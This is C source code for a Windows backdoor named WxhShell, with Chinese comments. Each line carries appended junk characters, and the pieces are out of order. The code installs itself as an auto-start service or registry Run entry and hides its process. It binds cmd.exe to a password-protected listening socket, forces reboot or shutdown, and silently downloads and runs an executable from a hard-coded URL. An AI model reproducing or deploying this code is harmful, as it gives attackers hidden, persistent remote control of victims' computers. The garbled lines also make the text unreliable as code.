    if(Boot(SHUTDOWN)) Un\Ubqi0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kt6C43]7  
    else { F7V6-V{_  
    closesocket(wsh); }bCK  
    ExitThread(0); rFO_fIJno  
    } 7 y>(H<^>  
    break; lT3|D?sF  
    } 3FuCW  
  // 获取shell XK3!V|y`  
  case 's': { _r[r8M B  
    CmdShell(wsh); PJ0Jjoh"Y  
    closesocket(wsh); MyqiBGTb  
    ExitThread(0); Tfr`?:yF  
    break; +#9xA6,AE  
  } u(8~4P0w  
  // 退出 7\f{'KL  
  case 'x': { )FV6,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  I}rGx  
    CloseIt(wsh); Vv2{^ !aZ  
    break; .@Hmg  
    } i<J^:7  
  // 离开 u*U_7Uw$  
  case 'q': { f>O54T .L.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T<XfZZ)l<`  
    closesocket(wsh); (y 3~[  
    WSACleanup(); CH55K[{<  
    exit(1); {uEu >D$8  
    break; *&h6*zP?  
        } $]nVr(OZ_  
  } F9F" F  
  } dZ.}j&ZH'  
0 -!?W  
  // 提示信息 ;,mBT[_ZO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K?$ 9N}+  
} eSJAPU(D  
  } D xe-XKNc.  
7Y%!,ff  
  return; o*?[_{x W  
} sWp{Y.  
qK{| Q  
// shell模块句柄 ~K4k'   
int CmdShell(SOCKET sock) 7z Ohyl?  
{ !}z%#$  
STARTUPINFO si; Z@<q/2).|  
ZeroMemory(&si,sizeof(si)); n'! -Pv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O\LjtMF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "1_{c *ck  
PROCESS_INFORMATION ProcessInfo; GTT5<diw  
char cmdline[]="cmd"; 5wT' ,U"+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V#p G; ,  
  return 0; bMSD/L  
} nrxjN(9V%+  
1-4   
// 自身启动模式 }K#iCby4  
int StartFromService(void) 3FGbQ_  
{ $ijx#a&O  
typedef struct zfk'>_'  
{ L#@l(8.  
  DWORD ExitStatus; #N<s^KYG-  
  DWORD PebBaseAddress; 3N(8| wh  
  DWORD AffinityMask; >l7eoj  
  DWORD BasePriority; *5ka.=Qs  
  ULONG UniqueProcessId; :7HVBH  
  ULONG InheritedFromUniqueProcessId; {Bav$kw;?e  
}   PROCESS_BASIC_INFORMATION; s4\SX,  
M>`?m L  
PROCNTQSIP NtQueryInformationProcess; [X0k{FR  
jEC'l]l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f]@[4<Ny  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >=.ch5h3J)  
{jj]K.&  
  HANDLE             hProcess; <) >gg!   
  PROCESS_BASIC_INFORMATION pbi; Ri^sQ<~(  
mafAC73  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (.jO:#eE%  
  if(NULL == hInst ) return 0; d +*T@k]>M  
?M*C*/R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y/?DSo4G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v.~Nv@+kR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0lvb{Zd  
LH?gJ8`  
  if (!NtQueryInformationProcess) return 0; \? 5[RR  
1Ud t9$~T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IdN%f]=/  
  if(!hProcess) return 0; vZ1D3ytfG  
%j 9vX$Hj  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ss|6_H =  
V!yp@%D  
  CloseHandle(hProcess); gn;nS{A  
P~b%;*m}8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Aw_R $  
if(hProcess==NULL) return 0; DcFV^8O&  
uMq\];7I  
HMODULE hMod; .q|xMS}4  
char procName[255]; 5jj5 7j"  
unsigned long cbNeeded; s525`Q;  
H7cRWB  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Cv<>_N).  
[\ w>{  
  CloseHandle(hProcess); "~ i#9L/H  
;Kq<',u~  
if(strstr(procName,"services")) return 1; // 以服务启动 zL[U;  
XQJV.SVS  
  return 0; // 注册表启动 pqNoL* H  
} J[_?>YJ  
O+3D 5*  
// 主模块 JqH.QnKcv  
int StartWxhshell(LPSTR lpCmdLine)  ZeDDH  
{ 3`C3+  
  SOCKET wsl; .jG.90  
BOOL val=TRUE; 07HX5 Hd  
  int port=0; 5"Xo R)  
  struct sockaddr_in door; qkyX*_}  
R}=]UOqH-  
  if(wscfg.ws_autoins) Install(); _ jM6ej<  
4tN~UMw?  
port=atoi(lpCmdLine); <P Z\qE*+y  
0^tJX1L  
if(port<=0) port=wscfg.ws_port; >+W?!9[p:2  
}e;p8)]Wl  
  WSADATA data; nq w*oLFQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vA $BBXX  
^c:eXoU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JjL0/&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +\]S<T*;  
  door.sin_family = AF_INET; :O2v0Kx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l=.InSuLT  
  door.sin_port = htons(port); c9TkIe  
{~ vPq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vN[m5)aT  
closesocket(wsl); )}Mt'd  
return 1; 3_['[}  
} :j!_XMyT:  
CpJXLc3_d5  
  if(listen(wsl,2) == INVALID_SOCKET) { r_2VExk  
closesocket(wsl); '[M2Q"X  
return 1; w[7HY@[  
} /t2 <OU9  
  Wxhshell(wsl); J*kzJ{vwy*  
  WSACleanup(); ;Z0cD*Jb  
~<Qxw>S#  
return 0; qQ\hUii  
?J1&,'&  
} *v-xC5L1\  
uTF EI.N  
// 以NT服务方式启动 ;bu;t#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L ~' N6  
{ X| 0`$f  
DWORD   status = 0; v}t :}M<;  
  DWORD   specificError = 0xfffffff; D+nj[8y  
[UrS%]OSR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~]s"PV:|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rb4g<f|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;-wPXXR  
  serviceStatus.dwWin32ExitCode     = 0; c35vjYQx0  
  serviceStatus.dwServiceSpecificExitCode = 0; Fd=`9N9  
  serviceStatus.dwCheckPoint       = 0; ?DTP-#5Ba  
  serviceStatus.dwWaitHint       = 0; 1T^L) %&p_  
>.sN?5}y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T[II;[EiE  
  if (hServiceStatusHandle==0) return; MPw7!G(qj  
ed2 &9E>9b  
status = GetLastError(); QE6-(/  
  if (status!=NO_ERROR) sX?7`n1U  
{ \?I wR]@y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {:j!@w3  
    serviceStatus.dwCheckPoint       = 0; y.NArN|%  
    serviceStatus.dwWaitHint       = 0; _Pm}]Y:_  
    serviceStatus.dwWin32ExitCode     = status; VZ!$'??  
    serviceStatus.dwServiceSpecificExitCode = specificError; +F6_P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u 9Tl Xn  
    return; Tj~#Xc  
  } J<O_N~$$*  
s&hP^tKT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I=-;*3g6  
  serviceStatus.dwCheckPoint       = 0; Z*B(L@H  
  serviceStatus.dwWaitHint       = 0; <;"=ah7A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i`s pM<iR.  
} )o,0aGo>Of  
&1Iy9&y  
// 处理NT服务事件,比如:启动、停止 1W7BN~p14  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fL:Fn"Nv  
{ `v er "s;  
switch(fdwControl) P ie!Su`  
{ R:p,Hav<q  
case SERVICE_CONTROL_STOP: _ RYZyw   
  serviceStatus.dwWin32ExitCode = 0; x=)$sD-3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _\[G7  
  serviceStatus.dwCheckPoint   = 0; b>WT-.b0  
  serviceStatus.dwWaitHint     = 0; R MXj)~4.  
  { ARo5 Ss{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j+/*NM_y3  
  } :Yqa[._AF  
  return; P!EX;+7+x  
case SERVICE_CONTROL_PAUSE: uU s>/+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yL-L2  
  break; 2D"/k'iA  
case SERVICE_CONTROL_CONTINUE: i2E7$[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DAi[3`C  
  break; "N_?yA#(j  
case SERVICE_CONTROL_INTERROGATE: f_8~b0`  
  break; wxxC&!  
}; %#~Wk|8} Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %b9M\  
} rg\w!L(  
S{6u\Vy  
// 标准应用程序主函数 &@+; ]t  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rB]/N,R   
{ "?SnA +)  
[qB=OxH?  
// 获取操作系统版本 1YxI q565  
OsIsNt=GetOsVer(); ;nE}%lT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <*P1Sd.  
FBsw\P5w  
  // 从命令行安装 p WHu[Fu  
  if(strpbrk(lpCmdLine,"iI")) Install(); |a+8-@-Tj  
H'2 =yhtVh  
  // 下载执行文件 Y i`.zm  
if(wscfg.ws_downexe) { _[W=1bGJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?AE%N.rnsi  
  WinExec(wscfg.ws_filenam,SW_HIDE); r+Y1m\  
} >\ W" 3.  
vq}V0- <  
if(!OsIsNt) { `F#KXk  
// 如果时win9x,隐藏进程并且设置为注册表启动 #~b9H05D  
HideProc(); .;'xm_Gw<  
StartWxhshell(lpCmdLine); \]K-<&f  
} UWHC]V?  
else <OUAppH  
  if(StartFromService()) )'JSu=Ej  
  // 以服务方式启动 `8I&(k<wLe  
  StartServiceCtrlDispatcher(DispatchTable); LHp s2,  
else 8'y|cF%U  
  // 普通方式启动 PA E)3  
  StartWxhshell(lpCmdLine); ag6S"IXh  
7j+.H/2  
return 0; ee0J;pP2#  
} WKG=d]5  
39"'Fz?1  
[kCn6\_<V  
 [7bY(  
=========================================== U+KbvkX wj  
#xmUND`@  
?@~FT1"6G  
}~7>S5  
t5&$ y`  
X_h+\ 7N>  
" ;RU)Q)a)  
\sk,3b-&'  
#include <stdio.h> | c;S'36  
#include <string.h> v#~,)-D&  
#include <windows.h> ^C(AMT  
#include <winsock2.h> _2|,j\f;L  
#include <winsvc.h> !%Ak15o  
#include <urlmon.h> :7R\"@V4  
dWI\VS9  
#pragma comment (lib, "Ws2_32.lib") As"'KR  
#pragma comment (lib, "urlmon.lib") |Oo WGVc  
U9JqZ!  
#define MAX_USER   100 // 最大客户端连接数 k2xjcrg  
#define BUF_SOCK   200 // sock buffer !l'Zar  
#define KEY_BUFF   255 // 输入 buffer s#4 "f  
'8dqJ`Gj  
#define REBOOT     0   // 重启 =/zQJzN  
#define SHUTDOWN   1   // 关机 }\1V;T  
*6uiOtH  
#define DEF_PORT   5000 // 监听端口 QPBf++|  
2+|[e_  
#define REG_LEN     16   // 注册表键长度 Wjj'yqBO^  
#define SVC_LEN     80   // NT服务名长度 .9`.\v6R  
2hquE_1S[w  
// 从dll定义API vZ*5 93C8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); towQoqv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5^%FEZ&Sp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -`rz[";n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  HSTtDTo  
GLEGyT?~  
// wxhshell配置信息 <}|+2f233+  
struct WSCFG { k+_pj k  
  int ws_port;         // 监听端口 !W8$-iq  
  char ws_passstr[REG_LEN]; // 口令 {uq  
  int ws_autoins;       // 安装标记, 1=yes 0=no  M*%iMz  
  char ws_regname[REG_LEN]; // 注册表键名 @*F NWT6  
  char ws_svcname[REG_LEN]; // 服务名 KpSHf9!&[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kGCd!$fsk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZU/6#pb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d'PjO-"g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |',MgA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =EFF2M`F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EFV'hMjS)  
zxXm9zrLo  
}; fAYm3+.l3  
z0a=A:+/  
// default Wxhshell configuration ![ Fb~Egc  
struct WSCFG wscfg={DEF_PORT, vWwp'q  
    "xuhuanlingzhe", EZao\,t  
    1, mI@]{K}Q%  
    "Wxhshell", )V} t(>V  
    "Wxhshell", h8Kri}z;M  
            "WxhShell Service", v 6Tz7  
    "Wrsky Windows CmdShell Service", A@+pvC&  
    "Please Input Your Password: ", Ee d2`~  
  1, "\Z.YZUa\  
  "http://www.wrsky.com/wxhshell.exe", ;i>|5tEy  
  "Wxhshell.exe" Y0 Ta&TYZ0  
    }; eVn]/.d  
qf7 lQovK  
// 消息定义模块 3Jf_3c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z\{y[3-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 44b;]htv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +.:- :  
char *msg_ws_ext="\n\rExit."; .9PPWY;H  
char *msg_ws_end="\n\rQuit."; D `c YQ-  
char *msg_ws_boot="\n\rReboot..."; GBVw6+(c  
char *msg_ws_poff="\n\rShutdown..."; :iP2e+j  
char *msg_ws_down="\n\rSave to "; h%9#~gJ})  
*xI0hFJIM  
char *msg_ws_err="\n\rErr!"; S2'./!3yv  
char *msg_ws_ok="\n\rOK!"; *shE-w ;C  
B ;@7  
char ExeFile[MAX_PATH]; 7='lu;=,  
int nUser = 0; &;DK^ta*P  
HANDLE handles[MAX_USER]; ,C1}gPQ6<  
int OsIsNt; TFjb1 a,)  
|VQ17*4ff1  
SERVICE_STATUS       serviceStatus; 9(V12gn+lk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KLrxlD4\  
>|'u:`A  
// 函数声明 ;shhg z$  
int Install(void); aEM2xrhy,  
int Uninstall(void); JTA65T{3  
int DownloadFile(char *sURL, SOCKET wsh); B>hf|.GI  
int Boot(int flag); :c)N"EJlI2  
void HideProc(void); pyJY]"UHVE  
int GetOsVer(void); 4+"2K-]   
int Wxhshell(SOCKET wsl); LX2rg\a+%  
void TalkWithClient(void *cs); 589hfET  
int CmdShell(SOCKET sock); C@1B?OfJ  
int StartFromService(void); (?4m0Sn>#h  
int StartWxhshell(LPSTR lpCmdLine); ;+jz=9Q-  
Zawnx=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !Lkk1z o  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); = Lt)15  
4@19_+3  
// 数据结构和表定义 W>W b|W  
SERVICE_TABLE_ENTRY DispatchTable[] = |iSd<  
{ S\5%nz \  
{wscfg.ws_svcname, NTServiceMain}, v_^>*Vm*  
{NULL, NULL} I8};t b#  
}; 0+S ;0  
ISa}Km>Q  
// 自我安装 e7tp4M9!%  
int Install(void) !r^fX=X>'  
{ # `L?24%  
  char svExeFile[MAX_PATH]; Z:eB9R#2y  
  HKEY key; %vn"tp  
  strcpy(svExeFile,ExeFile); vo (riHH  
*{y({J  
// 如果是win9x系统,修改注册表设为自启动 y[`>,?ns5  
if(!OsIsNt) { D *=.;Rq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z=R 6?jU*n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '`+8'3K~E  
  RegCloseKey(key); *? V boyU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ) KvGJo)("  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O}s Mqh  
  RegCloseKey(key); xqSoE[<v  
  return 0; ?kM2/a"{G  
    } c,j[ix  
  } DyPHQ}G  
} gUr #3#  
else { )WNw0cV}J>  
~Vt?'v20@  
// 如果是NT以上系统,安装为系统服务 l4bL N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -#Bk  
if (schSCManager!=0)  L}=DC =E  
{ gCV+amP  
  SC_HANDLE schService = CreateService d%Ls'[Y^_0  
  ( -bd'sv  
  schSCManager, x?7z15\  
  wscfg.ws_svcname, $;pHv<  
  wscfg.ws_svcdisp, NR3h|'eC  
  SERVICE_ALL_ACCESS, 9ls*L!Jw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w2H^q3*  
  SERVICE_AUTO_START, 8,@0~2fz#  
  SERVICE_ERROR_NORMAL, 6Vgxfic  
  svExeFile, ;&dMtYb  
  NULL, yGY:EvH^?  
  NULL, w2SN=X~#  
  NULL, WES$B7y  
  NULL, vRh)o1u)  
  NULL -}1TT@  
  ); '=0l{hv@  
  if (schService!=0) gNJdP!(t  
  { B[IWgvB(e  
  CloseServiceHandle(schService); oj/#wF+  
  CloseServiceHandle(schSCManager); |%oI,d=ycv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UHgW-N"  
  strcat(svExeFile,wscfg.ws_svcname); I~GHx5Dk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2w}l!'ue  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wn{MY=5Y  
  RegCloseKey(key); e3mFO+  
  return 0; Jot7 L%,TB  
    } Y P,>vzW  
  } klAvi%^jE  
  CloseServiceHandle(schSCManager); _T_6Yl&cf)  
} D*>#]0X  
} F`La_]f?b\  
GExr] 2r  
return 1; F9"Xu-g  
} ^xgqs $`7  
<#wVQ\0C  
// 自我卸载 ~Ajst!Y7=  
int Uninstall(void) )HcLpoEi  
{ "@^Q" RF  
  HKEY key; AhkDLm+  
O^PN{u  
if(!OsIsNt) { v>HOz\F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +/bD9x1H  
  RegDeleteValue(key,wscfg.ws_regname); ]j!pK4  
  RegCloseKey(key); .Cf!5[0E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a`8]TD  
  RegDeleteValue(key,wscfg.ws_regname); IT7],pM  
  RegCloseKey(key); P,xIDj4d  
  return 0; 7n?yf_ je  
  } za+)2/ `L  
} t(dVd%   
} f5p/cUzX  
else { ]28j$)6  
/M'd$k"0z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;l1.jQh  
if (schSCManager!=0) 5F!Qn\{u{  
{ 93Zij<bH?e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9^9-\DG  
  if (schService!=0) rd<43  
  { \#xq$ygg  
  if(DeleteService(schService)!=0) { C\joDAD  
  CloseServiceHandle(schService); 4U_+NC>b  
  CloseServiceHandle(schSCManager); S>>wf:\ c  
  return 0; q)f_!N  
  } E .28G2&  
  CloseServiceHandle(schService); 7{(UiQbf  
  } SO.u0!  
  CloseServiceHandle(schSCManager); |d&C<O;f  
} gL-kI *Ra  
} L"/ ?[B":  
o[}Dj6e\t  
return 1; 'l=>H#}<B  
} _"Z?O)d*  
jpO0dtn3=  
// 从指定url下载文件 t0jE\6r  
int DownloadFile(char *sURL, SOCKET wsh) ;ne`ppz0  
{ %\(-<aT  
  HRESULT hr; Zs{7km  
char seps[]= "/"; 7Mq{Py1  
char *token; {lH'T1^m  
char *file; :IBP "  
char myURL[MAX_PATH]; ;l~a|KW0  
char myFILE[MAX_PATH];  Igmg&  
-3i(N.)<;  
strcpy(myURL,sURL); e"wz b< b  
  token=strtok(myURL,seps); YPGzI]\  
  while(token!=NULL) ~?Vod|>  
  { A$N%deb  
    file=token; }nX0h6+1  
  token=strtok(NULL,seps); ;Z"MO@9:  
  } gm2|`^Xq$  
Q-V8=.  
GetCurrentDirectory(MAX_PATH,myFILE); C4$P#DZT^  
strcat(myFILE, "\\"); Dk a8[z7  
strcat(myFILE, file); 0?8>{!I  
  send(wsh,myFILE,strlen(myFILE),0); .`m|Uf#" _  
send(wsh,"...",3,0); $*G3'G2'iS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,hu@V\SKv  
  if(hr==S_OK) krFp q;  
return 0; p\6}<b"p  
else x}pH'S7  
return 1; c:Cw #  
gJX"4]Ol#}  
} -k7b# +T  
iB(?}SaAZ  
// 系统电源模块 z^`4n_(Ygu  
int Boot(int flag) NZv8#  
{ 8)eRm{  
  HANDLE hToken; e|~{ X\l  
  TOKEN_PRIVILEGES tkp; "lu^  
+58^{_k+%  
  if(OsIsNt) { .eg'Z@o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1="]'!2Is  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (^FMm1@T  
    tkp.PrivilegeCount = 1; Xe\}(O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l![79 eFp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); { CR`~)v&  
if(flag==REBOOT) { JS8pN5   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qx E%C  
  return 0; 75^*4[  
} 5)S;R,  
else { K/C}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _ymSo`Iv R  
  return 0; d7b`X<=@s  
} 3{co.+  
  } =Xr{ Dg  
  else { 9-m_ e=jk6  
if(flag==REBOOT) { B&X)bGx8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^Ff fc@=  
  return 0; N)E'k%?,  
} T<7}IH$6xE  
else { >BO!jv!a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1@~%LV  
  return 0; KS~Q[-F1P  
} 9mMQ  
} n~`jUML2d  
aMydeTCHi  
return 1; K6B6@  
} ?UflK  
]A-LgDsS  
// win9x进程隐藏模块 %`G}/"  
void HideProc(void) u];\v%b  
{ P!9-!+F"  
J^` pE^S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8[^b8^  
  if ( hKernel != NULL ) /8_x]Es/  
  { C&d,|e "\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O&.gc p!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C\C*@9=&x  
    FreeLibrary(hKernel); 96F+I!qC  
  } vy5{Vm".4  
P1TTaYu  
return; {|zQ .s A  
} Vz,"vBds  
[e.`M{(TB  
// 获取操作系统版本 =x^IBLHN  
int GetOsVer(void) ABtv|0K  
{ :oZ~&H5Q  
  OSVERSIONINFO winfo; P)=$0kR3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !qs~j=;y3  
  GetVersionEx(&winfo); g fv?#mp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M|z4Dy  
  return 1; 4%jSqT@  
  else H0lAu]~R_W  
  return 0; ]ao%9:P;  
} :(jovse\  
U3>ES"N  
// 客户端句柄模块 <e8Ux#x/  
int Wxhshell(SOCKET wsl) !| GD8i  
{ ss7Z-A4z  
  SOCKET wsh;  #|l#  
  struct sockaddr_in client; 8g_GXtn(z  
  DWORD myID; 2;ogkPv'  
5@Xy) z  
  while(nUser<MAX_USER) h4M>k{  
{ 6k\8ulHw  
  int nSize=sizeof(client); \9.@T g8`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -S}^b6WL  
  if(wsh==INVALID_SOCKET) return 1; 1,G f;mcQ  
{f%x8t$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /u'M7R  
if(handles[nUser]==0) G-T2b,J [  
  closesocket(wsh); 1FEY&rpR  
else klC48l  
  nUser++; RZKczZGZg  
  } =g^JJpS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bU"2D.k  
RT=(vq @  
  return 0; cLnvb!g'#  
} Jp`qE  
Jro%zZle  
// 关闭 socket :E9@9>3S  
void CloseIt(SOCKET wsh) lW YgIpw  
{ M)CE%/P  
closesocket(wsh); {d,~=s0T  
nUser--; !"x&tF  
ExitThread(0); Gl>_C@n0h  
} 5PCKBevV  
$5/lU }To  
// 客户端请求句柄 z@em1W0?Z  
void TalkWithClient(void *cs) >NN&j#;x~  
{ 09u@-  
5S ?+03h~  
  SOCKET wsh=(SOCKET)cs; iPPW_Q9x  
  char pwd[SVC_LEN]; UDz#?ZWnd  
  char cmd[KEY_BUFF]; [8Zvs=1  
char chr[1]; ueazAsk3g  
int i,j; 5}t}Wc8  
=m?x|Zc_v  
  while (nUser < MAX_USER) { ^.@BD4/RPt  
gNG_,+=!  
if(wscfg.ws_passstr) { nE3'm[)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KoNJ;YiKtN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g4 |s9RMD  
  //ZeroMemory(pwd,KEY_BUFF); .-g++f(_i  
      i=0; ^/kn#1H7&  
  while(i<SVC_LEN) { gjVKk  
#A2)]XvY  
  // 设置超时 m:7$"oq|  
  fd_set FdRead; MdOQEWJ$|  
  struct timeval TimeOut; amn\#_(  
  FD_ZERO(&FdRead); o4"7i 9+g  
  FD_SET(wsh,&FdRead); ]D;X"2I2'b  
  TimeOut.tv_sec=8; 8&"@6/)[  
  TimeOut.tv_usec=0; 5xawa:K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3i'L5f67  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m*MfGj(  
|h; _r&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M 8BN'% S  
  pwd=chr[0]; 5:ZM-kZT  
  if(chr[0]==0xd || chr[0]==0xa) { Uva b*9vX  
  pwd=0; U]Vu8$W  
  break; BQcrF{q  
  } ;9r`P_r  
  i++; wYrb P11  
    } ~EVD NnHEr  
jQp7TdvLE$  
  // 如果是非法用户,关闭 socket q7 ;TdQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ls#= R  
} %C!u/:.Kv  
>+w(%;i;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]e'Ol$3U9=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tf?u ;n  
L)5YX-?  
while(1) { F8J;L](Dq  
@"9^U_Qf1z  
  ZeroMemory(cmd,KEY_BUFF);  Sxrbhnx  
ZLBv\VQ  
      // 自动支持客户端 telnet标准   O3JN?25s  
  j=0; d?RKobk  
  while(j<KEY_BUFF) { /Ot=GhN]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]OE{qXr{  
  cmd[j]=chr[0]; z:hY{/-  
  if(chr[0]==0xa || chr[0]==0xd) { 3d^zLL  
  cmd[j]=0; W 2VH?-Gw  
  break; E-NuCP%|c  
  } ]bG8DEwD  
  j++; 7-"ml\z  
    } .u3!%{/v(c  
U5; D'G  
  // 下载文件 rzH*|B0g  
  if(strstr(cmd,"http://")) { N@$g"w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [-)N}rL>  
  if(DownloadFile(cmd,wsh)) Vd2bG4*=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f?wn;;z`  
  else X6jW mo8]  
